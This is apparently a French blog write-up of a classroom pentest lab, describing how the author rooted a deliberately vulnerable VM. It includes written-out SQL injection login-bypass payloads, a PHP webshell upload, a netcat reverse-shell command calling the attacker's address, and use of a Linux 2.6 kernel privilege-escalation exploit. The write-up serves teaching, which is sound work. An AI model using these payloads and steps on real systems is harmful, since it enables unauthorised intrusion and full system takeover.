Pour la séance d’introduction au pentest, nous avions une VM à root en ne connaissant que l’IP. La VM est disponible ici

Je vais expliquer les étapes suivies pour la root ainsi que présenter les choses intéressantes que j’ai tentées en cours de route, même si elles n’ont pas été d’une grande utilité en fin de compte,

Je n’expliquerai pas en détails certains mécanismes sur lesquels l’attaque est basée mais je me suis efforcé de mettre des liens pour ceux qui seraient assez novice.


 

Reconnaissance

La première étape, lorsque l’on a qu’une adresse IP qui nous est donnée, est de faire un scan distant de la machine afin de voir quels services tournent et quels peuvent être les points d’entrées sur la machine. Pour cela j’ai utilisé nmap comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 13_10_46

scan nmap

Les paramètres précisés servent à préciser que l’on veut seulement tester de l’IPv4 (-T4), tous les ports de 1 a 65365 (-p 1-65365) sur l’IP cible. Le paramètre -A dit à nmap de s’exécuter en mode agressif, cela va activer la détection d’ OS et autres éléments.

On peut voir sur le résultat du scan que notamment le port 22 (ssh) est ouvert, j’ai essayé du coup de lancer ssh sur l’IP pour voir si il pouvait y avoir quelque chose d’intéressant comme une bannière mais rien de la sorte. On voit aussi que les ports http (80) et https (443) sont ouverts ainsi que le port 3306 sur lequel tourne MySQL, il semblerait donc qu’il y ait un site web qui tourne sur la VM. On ouvre son navigateur préféré et quand on rentre l’IP en URL on est bien présenté avec un site web et c’est cela qu’on va attaquer.


Attaquer le site web

Bypass l’authentification

Une des failles les plus courantes sur les sites web sont les injections SQL, et en arrivant sur le site on peut directement voir un onglet Log In qui nous emmène vers un formulaire de connexion. J’ai donc essayé de voir si le formulaire était sensible à une injection SQL.

iggy a présenté son injection à un autre endroit du site web et Le_suisse a quant à lui complètement bypass l’authentification sans jamais cracker le mot de passe ou le nom de l’utilisateur. Ces deux autres attaques sont aussi détaillées.

Pour tester si le formulaire était vulnérable j’ai utilisé sqlmap afin d’automatiser le processus et récupérer un maximum d’informations. Comme il s’agit d’une requête POST je l’ai déjà récupérée en format texte (je l’ai fait avec burp car je l’avais déjà lancé mais il y a d’autres moyens) et l’ai mise dans un fichier que je passe en argument de sqlmap comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 13_15_14

Le paramètre -r permet de dire a sqlmap de lire la requête dans un fichier, le paramètre -a quant à lui permet de dire a sqlmap de faire le café et d’essayer de tout retrouver dans la base de données si possible.

L’exécution de sqlmap nous confirme que le formulaire est injectable et de cela, sqlmap nous sort toutes les tables, les utilisateurs de la base de données, etc..

Lorsque sqlmap trouve des valeurs qui peuvent correspondre à des hash de password, l’outil demande si on veut essaye de les crack. En faisant ça, on trouve dans la table user un utilisateur « admin » avec comme mot de passe « 12345678 » (cf. image)

Capture d'écran de 2016-02-05 13_17_51

résultats sqlmap

 

L’exécution de sqlmap nous permet aussi de retrouver les utilisateurs enregistrés qui ont accès à la base de données. J’ai essayé du coup d’accéder de manière distante à la base de données MySQL depuis ma machine hôte mais cela ne semblait pas possible. Mon idée était de voir si c’était possible et ensuite d’utiliser les mécanismes de la base de données pour effectuer un appel système et prendre le contrôle de la machine distante depuis ce point d’entrée.

On essaye donc de se logger en rentrant « admin » et « 12345678 » dans le formulaire et bingo!

Injection de iggy:

lorsque l’on clique sur un article pour le lire sur la page d’accueil on voit que l’url est de la forme @IP/?id=2, il s’avère que ce paramètre est aussi sensible à une injection SQL et qu’on peut effectuer la même démarche avec sqlmap sur cette URL.

Injection de Le_suisse:

Il y a moyen de s’authentifier avec succès sans cracker le contenu de la base de données à l’aide d’une injection SQL.

En arrivant sur le formulaire, la première chose à se rendre compte, surtout si on veut injecter le formulaire directement, est qu’il y a un filtre javascript sur les valeurs du formulaire appliqué à l’envoi:

Capture d'écran de 2016-02-05 14_03_35

Capture d'écran de 2016-02-05 14_03_51

filtre formulaire

On voit que ce filtre remplace tout ce qui n’est pas une lettre ou un chiffre par rien. JavaScript est cependant ici client-side et donc on peut tout simple le désactiver à l’aide de firebug et virer le filtre complètement (nécessaire si on veut injecter directement depuis la page web) comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 14_03_15

Le_suisse m’a donné la forme globale de l’injection qu’il avait faîte et après quelques essais voici celle qui a marché pour moi, la sienne étant sûrement similaire:

Username: ‘ or ‘a’=’a

Password: ‘) or (‘1’=’1

 

Maintenant que nous sommes connecté sur le site, en plus en tant qu’admin, il faut regarder quelles sont les choses auxquelles on a désormais accès. On voit que l’on peut éditer les événements et en rajouter ainsi qu’upload des fichiers en créant un évènement, on a aussi accès à la gestion des utilisateurs et aux log.

Suite de l’attaque

Notre but final étant de root la machine, on va donc chercher à trouver un vecteur d’attaque nous permettant d’avoir un pied sur le système.

Cross-site scripting (XSS)

Une autre vulnérabilité très répandue sur les sites web est la possibilité de faire du XSS, j’ai testé de voir si on le site y était sensible et il s’avère que c’est le cas. En mettant du script dans le contenu d’un événement, celui-ci se retrouve exécute par l’utilisateur à la visualisation des articles:

 

Capture d'écran de 2016-02-05 14_04_31

Capture d'écran de 2016-02-05 14_04_40

XSS

J’ai essayé d’injecter directement du php du coup afin de pouvoir attaquer le système mais il se fait « sanitizer« , il faut donc trouver un autre moyen de pénétrer le système.

Webshell par upload de fichier

Si l’on retourne à l’ajout d’un événement, on voit que l’on a la possibilité d’uploader un fichier. Si il n’y a pas de restrictions sur le fichier que l’on upload et qu’on y a ensuite accès, il doit être possible d’uploader un fichier php nous donnant un webshell.

Exemple de webshell basique:


 

J’ai perdu énormément de temps ici car j’ai voulu griller les étapes et récupérer mon shell directement en faisant exécuter à mon php la commande système « nc -e /bin/sh 192.168.56.1 4444 » qui ne passait pas (je reviendrai dessus plus tard). monty m’a donc pointé vers un webshell php avec interface graphique: b374k-shell, je l’ai upload et j’ai donc un webshell sur lequel je peux effectuer des commandes systèmes:
Capture d'écran de 2016-02-04 22_16_21

b374k-shell

Obtenir un shell

Lorsque l’on veut un shell distant, on faitt souvent la distinction entre un bind shell et un reverse shell.

Bind shell: Dans ce cas là on va utiliser la machine cible en mode serveur et se connecter dessus depuis notre machine attaquante

Reverse shell: Dans ce cas là, on va utiliser notre propre machine en mode serveur et faire en sorte que la machine attaquée se connecte dessus

Le choix dépend de la situation et de la config réseau, si la machine attaquée était derrière un routeur qui fait du NAT et qu’elle n’était pas routable depuis l’extérieur l’utilisation du bind shell aurait été impossible. De même si, par exemple en ctf, vous attaquez une IP publique mais que n’avez que votre connexion avec votre box qui fait du NAT, c’est beaucoup plus indiqué d’utiliser un bind shell.

J’ai choisi d’utiliser un reverse shell. On démarre une session en mode listener (serveur) sur ma machine hôte avec la commande nc -lvp <my_port> (dans ce cas là nc -lvp 4444) et on va se connecter dessus depuis la cible. Une manière de faire cela est d’effectuer la commande nc -e /bin/sh  <host_ip> 4444, cependant le flag -e n’est pas présent sur toutes les versions de netcat et il s’avère que c’était de là que provenait mon erreur.

J’ai donc choppé un one liner sur pentestmonkey pour faire un reverse shell :

Résultats:

Capture d'écran de 2016-02-04 22_16_37

 

Dernière étape: r00t

Après avoir le shell on peut commencer à taper nos commandes,

On effectue entre autres:

La première commande nous permet de voir que nous sommes sur la machine en tant que l’utilisateur apache.

La deuxième commande nous permet de récupérer la version du kernel de la machine cibe.

Notre but étant d’être root, il va nous falloir faire une privilege escalation pour passer root, celles-ci peuvent entre autres intervenir suite à une mauvaise configuration de l’admin de la machine ou à un bug dans la version du kernel.

Le resultat de la deuxième commande nous permet de savoir que le noyau Linux qui tourne est un 2.6. On va donc chercher sur exploit-db ou site similaire si il y a pas un exploit pour la version 2.6 du kernel Linux. Dans l’installation de Kali, il y a une répertoire contenant une image de exploit-db avec un script de recherche que vous pouvez trouver dans le répertoire

En exécutant la commande suivante on obtient une liste d’exploit potentiels:

Après plusieurs essais infructueux pour ma part avec la plupart de ces exploits, il me semble qu’on a tous utilisé cet exploit qui correspond au script 8478.sh. La compréhension de cet exploit dépasse complètement le cadre de ce write-up, pour ceux intéressé par les détails => http://lwn.net/Articles/329266/

On utilise l’interface d’upload de fichier du site pour upload notre script sur le serveur (que j’ai renommé exploit4.sh dans mon cas).

Le script sera présent dans le répertoire dans lequel le shell est situé.

L’exécution du script requiert en argument le pid de la socket NETLINK que l’on récupère avec:

Le pid qui nous intéresse est celui sur la ligne contant la valeur ffffffff pour groups. Dans mon cas cette valeur est 378.

On exécute donc les commandes suivantes:

Résultats:

Capture d'écran de 2016-02-04 22_20_07 Capture d'écran de 2016-02-04 22_24_38

 


 

Merci à iggy pour la séance 🙂

Vous pouvez trouver les slides de iggy ici

 

2 Thoughts on “Write-Up – séance d’introduction au pentest

  1. le lien de téléchargement de la VM please 🙂

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Post Navigation